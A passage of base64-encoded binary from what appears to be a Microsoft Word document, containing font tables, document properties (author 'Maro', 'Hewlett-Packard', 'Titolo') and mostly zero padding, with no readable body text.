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 EKuRCAArJ7PZMAAAAFQBAAAQAAAAAQAAAIgAAAACAAAAkAAAAAMAAACcAAAABAAAAKgAAAAFAAAA uAAAAAcAAADEAAAACAAAANQAAAAJAAAA5AAAABIAAADwAAAACgAAABABAAAMAAAAHAEAAA0AAAAo AQAADgAAADQBAAAPAAAAPAEAABAAAABEAQAAEwAAAEwBAAACAAAA5AQAAB4AAAAEAAAAAAAAAB4A AAAEAAAAAAAAAB4AAAAIAAAATWFybwAAAAAeAAAABAAAAAAAAAAeAAAACAAAAE5vcm1hbAAAHgAA AAgAAABNQVJPAAAAAB4AAAAEAAAAMTAAAB4AAAAYAAAATWljcm9zb2Z0IE9mZmljZSBXb3JkAAAA QAAAAADYdQcFAAAAQAAAAAAYvTHEgs4BQAAAAAD8GVQrqc4BAwAAAAQAAAADAAAAuAIAAAMAAACE DwAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD+/wAABgECAAAAAAAAAAAAAAAAAAAAAAABAAAAAtXN1ZwuGxCTlwgAKyz5 rjAAAAAQAQAADAAAAAEAAABoAAAADwAAAHAAAAAFAAAAiAAAAAYAAACQAAAAEQAAAJgAAAAXAAAA oAAAAAsAAACoAAAAEAAAALAAAAATAAAAuAAAABYAAADAAAAADQAAAMgAAAAMAAAA2gAAAAIAAADk BAAAHgAAABAAAABIZXdsZXR0LVBhY2thcmQAAwAAACEAAAADAAAACQAAAAMAAAAzEgAAAwAAAAAA DAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAB4QAAACAAAAAQAAAAABAAAAAAwQAAAE AAAAHgAAAAYAAABUaXRsZQADAAAAAQAAAB4AAAAHAAAAVGl0b2xvAAMAAAABAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAA AA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAA HAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAAq AAAAKwAAACwAAAAtAAAALgAAAC8AAAAwAAAAMQAAADIAAAAzAAAANAAAADUAAAA2AAAANwAAADgA AAA5AAAAOgAAADsAAAA8AAAAPQAAAD4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAARgAA AEcAAABIAAAASQAAAEoAAABLAAAATAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAFMAAABUAAAA VQAAAFYAAABXAAAAWAAAAFkAAABaAAAAWwAAAFwAAABdAAAAXgAAAF8AAABgAAAAYQAAAGIAAABj AAAAZAAAAGUAAABmAAAAZwAAAGgAAABpAAAAagAAAGsAAABsAAAAbQAAAG4AAABvAAAAcAAAAHEA AAByAAAAcwAAAHQAAAB1AAAAdgAAAHcAAAB4AAAAeQAAAHoAAAB7AAAAfAAAAH0AAAB+AAAAfwAA AIAAAACBAAAAggAAAIMAAACEAAAAhQAAAIYAAACHAAAAiAAAAIkAAACKAAAAiwAAAIwAAACNAAAA 